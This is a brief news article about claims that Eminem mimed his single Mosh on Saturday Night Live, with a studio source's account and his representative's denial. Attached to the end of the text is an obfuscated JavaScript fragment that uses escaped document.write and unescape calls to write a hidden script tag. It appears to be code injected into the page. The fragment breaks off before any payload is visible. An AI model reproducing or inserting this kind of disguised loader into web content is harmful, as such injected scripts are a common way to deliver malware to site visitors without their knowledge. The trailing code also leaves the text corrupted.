Eminem has hit back at claims he mimed on American TV show Saturday Night Live.
Eminem insists he sang over a vocal track.
Newspaper reports claimed the rapper lip-synced to his new single Mosh just a week after pop star Ashlee Simpson was caught miming on the very same show.
A studio source said, "He was singing Mosh and you could tell he was lip-synching.
"The track was just a bit ahead of his lips and he put the mike down at one point but the track kept going."
But a representative for Eminem insists he was trying to "duplicate the sound on his album."
He said: "He had a vocal track on for double vocal effect on the first song, to make it more powerful. Lots of hip-hop artists do that. Tupac Shakur did it."document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22
